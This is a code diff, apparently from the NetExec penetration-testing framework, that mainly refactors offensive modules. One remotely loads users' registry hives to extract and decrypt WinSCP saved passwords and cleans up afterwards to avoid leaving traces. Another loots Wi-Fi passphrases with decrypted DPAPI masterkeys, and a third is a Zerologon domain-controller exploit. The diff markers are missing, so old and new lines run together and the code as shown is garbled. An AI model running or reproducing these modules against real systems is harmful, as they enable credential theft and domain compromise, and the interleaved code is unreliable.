ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
context.log.debug("LOAD USER INTO REGISTRY: " + userObject)
rrp.hBaseRegLoadKey(
remoteOps._RemoteOperations__rrp,
keyHandle,
remote_ops._RemoteOperations__rrp,
key_handle,
userObject,
userProfilePath + "\\" + "NTUSER.DAT",
user_profile_path + "\\" + "NTUSER.DAT",
)
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remoteOps.finish()
remote_ops.finish()
def unloadMissingUsers(self, context, connection, unloadedUserObjects):
"""
If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind...
"""
def unload_missing_users(self, context, connection, unloadedUserObjects):
"""If some User were not logged in at the beginning we unload them from registry. Don't leave clues behind..."""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Unload Profile
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "")
keyHandle = ans["phkResult"]
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "")
key_handle = ans["phkResult"]
for userObject in unloadedUserObjects:
context.log.debug("UNLOAD USER FROM REGISTRY: " + userObject)
try:
rrp.hBaseRegUnLoadKey(remoteOps._RemoteOperations__rrp, keyHandle, userObject)
rrp.hBaseRegUnLoadKey(remote_ops._RemoteOperations__rrp, key_handle, userObject)
except Exception as e:
context.log.fail(f"Error unloading user {userObject} in registry: {e}")
context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remoteOps.finish()
remote_ops.finish()
def checkMasterpasswordSet(self, connection, userObject):
def check_masterpassword_set(self, connection, userObject):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
useMasterPassword = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
use_master_password = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseMasterPassword")[1]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
finally:
remoteOps.finish()
return useMasterPassword
remote_ops.finish()
return use_master_password
def registryDiscover(self, context, connection):
def registry_discover(self, context, connection):
context.log.display("Looking for WinSCP creds in Registry...")
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
# Enumerate all Users on System
userObjects = self.findAllLoggedInUsersInRegistry(context, connection)
allUserObjects = self.findAllUsers(context, connection)
self.userObjectToNameMapper(context, connection, allUserObjects)
user_objects = self.find_all_logged_in_users_in_registry(context, connection)
all_user_objects = self.find_all_users(context, connection)
self.user_object_to_name_mapper(context, connection, all_user_objects)
# Users which must be loaded into registry:
unloadedUserObjects = list(set(userObjects).symmetric_difference(set(allUserObjects)))
self.loadMissingUsers(context, connection, unloadedUserObjects)
unloaded_user_objects = list(set(user_objects).symmetric_difference(set(all_user_objects)))
self.load_missing_users(context, connection, unloaded_user_objects)
# Retrieve how many sessions are stored in registry from each UserObject
ans = rrp.hOpenUsers(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
for userObject in allUserObjects:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
for userObject in all_user_objects:
try:
ans = rrp.hBaseRegOpenKey(
remoteOps._RemoteOperations__rrp,
regHandle,
remote_ops._RemoteOperations__rrp,
reg_handle,
userObject + "\\Software\\Martin Prikryl\\WinSCP 2\\Sessions",
)
keyHandle = ans["phkResult"]
key_handle = ans["phkResult"]
data = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, keyHandle)
data = rrp.hBaseRegQueryInfoKey(remote_ops._RemoteOperations__rrp, key_handle)
sessions = data["lpcSubKeys"]
context.log.success('Found {} sessions for user "{}" in registry!'.format(sessions - 1, self.userDict[userObject]))
context.log.success(f'Found {sessions - 1} sessions for user "{self.userDict[userObject]}" in registry!')
# Get Session Names
sessionNames = []
for i in range(sessions):
sessionNames.append(rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, keyHandle, i)["lpNameOut"].split("\x00")[:-1][0])
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
sessionNames.remove("Default%20Settings")
session_names = [rrp.hBaseRegEnumKey(remote_ops._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(sessions)]
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
session_names.remove("Default%20Settings")
if self.checkMasterpasswordSet(connection, userObject):
if self.check_masterpassword_set(connection, userObject):
context.log.fail("MasterPassword set! Aborting extraction...")
continue
# Extract stored Session infos
for sessionName in sessionNames:
self.printCreds(
for sessionName in session_names:
self.print_creds(
context,
self.registrySessionExtractor(context, connection, userObject, sessionName),
self.registry_session_extractor(context, connection, userObject, sessionName),
)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No WinSCP config found in registry for user {}".format(userObject))
context.log.debug(f"No WinSCP config found in registry for user {userObject}")
except Exception as e:
context.log.fail(f"Unexpected error: {e}")
context.log.debug(traceback.format_exc())
self.unloadMissingUsers(context, connection, unloadedUserObjects)
self.unload_missing_users(context, connection, unloaded_user_objects)
except DCERPCException as e:
# Error during registry query
if str(e).find("rpc_s_access_denied"):
@ -390,10 +366,10 @@ class NXCModule:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
finally:
remoteOps.finish()
remote_ops.finish()
# ==================== Handle Configs ====================
def decodeConfigFile(self, context, confFile):
def decode_config_file(self, context, confFile):
config = configparser.RawConfigParser(strict=False)
config.read_string(confFile)
@ -404,17 +380,17 @@ class NXCModule:
for section in config.sections():
if config.has_option(section, "HostName"):
hostName = unquote(config.get(section, "HostName"))
userName = config.get(section, "UserName")
host_name = unquote(config.get(section, "HostName"))
user_name = config.get(section, "UserName")
if config.has_option(section, "Password"):
encPassword = config.get(section, "Password")
decPassword = self.decryptPasswd(hostName, userName, encPassword)
enc_password = config.get(section, "Password")
dec_password = self.decrypt_passwd(host_name, user_name, enc_password)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(section)
self.printCreds(context, [sectionName, hostName, userName, decPassword])
dec_password = "NO_PASSWORD_FOUND"
section_name = unquote(section)
self.print_creds(context, [section_name, host_name, user_name, dec_password])
def getConfigFile(self, context, connection):
def get_config_file(self, context, connection):
if self.filepath:
self.share = self.filepath.split(":")[0] + "$"
path = self.filepath.split(":")[1]
@ -422,19 +398,16 @@ class NXCModule:
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
conf_file = buf.getvalue().decode()
context.log.success("Found config file! Extracting credentials...")
self.decodeConfigFile(context, confFile)
except:
context.log.fail("Error! No config file found at {}".format(self.filepath))
self.decode_config_file(context, conf_file)
except Exception as e:
context.log.fail(f"Error! No config file found at {self.filepath}: {e}")
context.log.debug(traceback.format_exc())
else:
context.log.display("Looking for WinSCP creds in User documents and AppData...")
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = []
for row in output.split("\r\n"):
users.append(row.strip())
users = users[2:]
users = [row.strip() for row in output.split("\r\n")[2:]]
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
@ -443,18 +416,18 @@ class NXCModule:
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"),
]
for path in paths:
confFile = ""
conf_file = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success('Found config file at "{}"! Extracting credentials...'.format(self.share + path))
except:
context.log.debug('No config file found at "{}"'.format(self.share + path))
if confFile:
self.decodeConfigFile(context, confFile)
conf_file = buf.getvalue().decode()
context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...")
except Exception as e:
context.log.debug(f"No config file found at '{self.share + path}': {e}")
if conf_file:
self.decode_config_file(context, conf_file)
def on_admin_login(self, context, connection):
if not self.filepath:
self.registryDiscover(context, connection)
self.getConfigFile(context, connection)
self.registry_discover(context, connection)
self.get_config_file(context, connection)

View File

@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from dploot.triage.masterkeys import MasterkeysTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
@ -49,7 +46,7 @@ class NXCModule:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug("Could not upgrade connection: {}".format(e))
context.log.debug(f"Could not upgrade connection: {e}")
return
masterkeys = []
@ -57,58 +54,35 @@ class NXCModule:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn)
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug("Could not get masterkeys: {}".format(e))
context.log.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Got {} decrypted masterkeys. Looting Wifi interfaces".format(highlight(len(masterkeys))))
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
try:
# Collect Chrome Based Browser stored secrets
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
wifi_creds = wifi_triage.triage_wifi()
except Exception as e:
context.log.debug("Error while looting wifi: {}".format(e))
context.log.debug(f"Error while looting wifi: {e}")
for wifi_cred in wifi_creds:
if wifi_cred.auth.upper() == "OPEN":
context.log.highlight("[OPEN] %s" % (wifi_cred.ssid))
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
try:
context.log.highlight(
"[%s] %s - Passphrase: %s"
% (
wifi_cred.auth.upper(),
wifi_cred.ssid,
wifi_cred.password.decode("latin-1"),
)
)
except:
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
elif wifi_cred.auth.upper() in ['WPA', 'WPA2']:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
try:
if self.eap_username is not None and self.eap_password is not None:
context.log.highlight(
"[%s] %s - %s - Identifier: %s:%s"
% (
wifi_cred.auth.upper(),
wifi_cred.ssid,
wifi_cred.eap_type,
wifi_cred.eap_username,
wifi_cred.eap_password,
)
)
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
else:
context.log.highlight(
"[%s] %s - %s "
% (
wifi_cred.auth.upper(),
wifi_cred.ssid,
wifi_cred.eap_type,
)
)
except:
context.log.highlight("[%s] %s - Passphrase: %s" % (wifi_cred.auth.upper(), wifi_cred.ssid, wifi_cred.password))
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
except Exception:
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
else:
context.log.highlight("[WPA-EAP] %s - %s" % (wifi_cred.ssid, wifi_cred.eap_type))
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")

View File

@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64
@ -42,8 +40,8 @@ class NXCModule:
host.signing,
zerologon=True,
)
except Exception as e:
self.context.log.debug(f"Error updating zerologon status in database")
except Exception:
self.context.log.debug("Error updating zerologon status in database")
def perform_attack(self, dc_handle, dc_ip, target_computer):
# Keep authenticating until successful. Expected average number of attempts needed: 256.
@ -54,20 +52,22 @@ class NXCModule:
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
for attempt in range(0, MAX_ATTEMPTS):
for _attempt in range(MAX_ATTEMPTS):
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
if result:
return True
else:
self.context.log.highlight("Attack failed. Target is probably patched.")
except DCERPCException as e:
self.context.log.fail(f"Error while connecting to host: DCERPCException, " f"which means this is probably not a DC!")
except DCERPCException:
self.context.log.fail("Error while connecting to host: DCERPCException, which means this is probably not a DC!")
def fail(msg):
nxc_logger.debug(msg)
nxc_logger.fail("This might have been caused by invalid arguments or network issues.")
sys.exit(2)
def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
# Connect to the DC's Netlogon service.

View File

@ -1,5 +1,4 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file
from nxc.parsers.ip import parse_targets
@ -8,19 +7,15 @@ from nxc.parsers.nessus import parse_nessus_file
from nxc.cli import gen_cli_args
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.loaders.moduleloader import ModuleLoader
from nxc.servers.http import NXCHTTPServer
from nxc.first_run import first_run_setup
from nxc.context import Context
from nxc.paths import nxc_PATH, DATA_PATH
from nxc.paths import NXC_PATH
from nxc.console import nxc_console
from nxc.logger import nxc_logger
from nxc.config import nxc_config, nxc_workspace, config_log, ignore_opsec
from concurrent.futures import ThreadPoolExecutor, as_completed
import asyncio
import nxc.helpers.powershell as powershell
from nxc.helpers import powershell
import shutil
import webbrowser
import random
import os
from os.path import exists
from os.path import join as path_join
@ -28,11 +23,12 @@ from sys import exit
import logging
import sqlalchemy
from rich.progress import Progress
from sys import platform
import platform
# Increase file_limit to prevent error "Too many open files"
if platform != "win32":
if platform.system() != "Windows":
import resource
file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE))
if file_limit[1] > 10000:
file_limit[0] = 10000
@ -41,37 +37,31 @@ if platform != "win32":
file_limit = tuple(file_limit)
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
try:
import librlers
except:
print("Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)")
exit(1)
def create_db_engine(db_path):
db_engine = sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
return db_engine
return sqlalchemy.create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
async def start_run(protocol_obj, args, db, targets):
nxc_logger.debug(f"Creating ThreadPoolExecutor")
nxc_logger.debug("Creating ThreadPoolExecutor")
if args.no_progress or len(targets) == 1:
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
nxc_logger.debug(f"Creating thread for {protocol_obj}")
_ = [executor.submit(protocol_obj, args, db, target) for target in targets]
else:
with Progress(console=nxc_console) as progress:
with ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
current = 0
total = len(targets)
tasks = progress.add_task(
f"[green]Running nxc against {total} {'target' if total == 1 else 'targets'}",
total=total,
)
nxc_logger.debug(f"Creating thread for {protocol_obj}")
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
for _ in as_completed(futures):
current += 1
progress.update(tasks, completed=current)
with Progress(console=nxc_console) as progress, ThreadPoolExecutor(max_workers=args.threads + 1) as executor:
current = 0
total = len(targets)
tasks = progress.add_task(
f"[green]Running nxc against {total} {'target' if total == 1 else 'targets'}",
total=total,
)
nxc_logger.debug(f"Creating thread for {protocol_obj}")
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
for _ in as_completed(futures):
current += 1
progress.update(tasks, completed=current)
def main():
@ -96,17 +86,17 @@ def main():
if hasattr(args, "log") and args.log:
nxc_logger.add_file_log(args.log)
nxc_logger.debug("PYTHON VERSION: " + sys.version)
nxc_logger.debug("RUNNING ON: " + platform.system() + " Release: " + platform.release())
nxc_logger.debug(f"Passed args: {args}")
# FROM HERE ON A PROTOCOL IS REQUIRED
if not args.protocol:
exit(1)
if args.protocol == "ssh":
if args.key_file:
if not args.password:
nxc_logger.fail(f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1)
if args.protocol == "ssh" and args.key_file and not args.password:
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
nxc_logger.error("KRB5CCNAME environment variable is not set")
@ -137,7 +127,7 @@ def main():
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target, "r") as target_file:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
@ -161,10 +151,10 @@ def main():
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
nxc_logger.debug(f"Protocol Object: {protocol_object}")
protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), "database")
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
db_path = path_join(nxc_PATH, "workspaces", nxc_workspace, f"{args.protocol}.db")
db_path = path_join(NXC_PATH, "workspaces", nxc_workspace, f"{args.protocol}.db")
nxc_logger.debug(f"DB Path: {db_path}")
db_engine = create_db_engine(db_path)
@ -172,15 +162,20 @@ def main():
db = protocol_db_object(db_engine)
# with the new nxc/config.py this can be eventually removed, as it can be imported anywhere
setattr(protocol_object, "config", nxc_config)
protocol_object.config = nxc_config
if args.module or args.list_modules:
loader = ModuleLoader(args, db, nxc_logger)
modules = loader.list_modules()
if args.list_modules:
nxc_logger.highlight("LOW PRIVILEGE MODULES")
for name, props in sorted(modules.items()):
if args.protocol in props["supported_protocols"]:
if args.protocol in props["supported_protocols"] and not props["requires_admin"]:
nxc_logger.display(f"{name:<25} {props['description']}")
nxc_logger.highlight("\nHIGH PRIVILEGE MODULES (requires admin privs)")
for name, props in sorted(modules.items()):
if args.protocol in props["supported_protocols"] and props["requires_admin"]:
nxc_logger.display(f"{name:<25} {props['description']}")
exit(0)
elif args.module and args.show_module_options:
@ -199,8 +194,8 @@ def main():
if not module.opsec_safe:
if ignore_opsec:
nxc_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
nxc_logger.debug("ignore_opsec is set in the configuration, skipping prompt")
nxc_logger.display("Ignore OPSEC in configuration is set and OPSEC unsafe module loaded")
else:
ans = input(
highlight(
@ -228,28 +223,12 @@ def main():
if not args.server_port:
args.server_port = server_port_dict[args.server]
# loading a module server multiple times will obviously fail
try:
context = Context(db, nxc_logger, args)
module_server = NXCHTTPServer(
module,
context,
nxc_logger,
args.server_host,
args.server_port,
args.server,
)
module_server.start()
protocol_object.server = module_server.server
except Exception as e:
nxc_logger.error(f"Error loading module server for {module}: {e}")
nxc_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
nxc_logger.debug(f"proto object dir: {dir(protocol_object)}")
# get currently set modules, otherwise default to empty list
current_modules = getattr(protocol_object, "module", [])
current_modules.append(module)
setattr(protocol_object, "module", current_modules)
protocol_object.module = current_modules
nxc_logger.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, "ntds") and args.ntds and not args.userntds:

Some files were not shown because too many files have changed in this diff Show More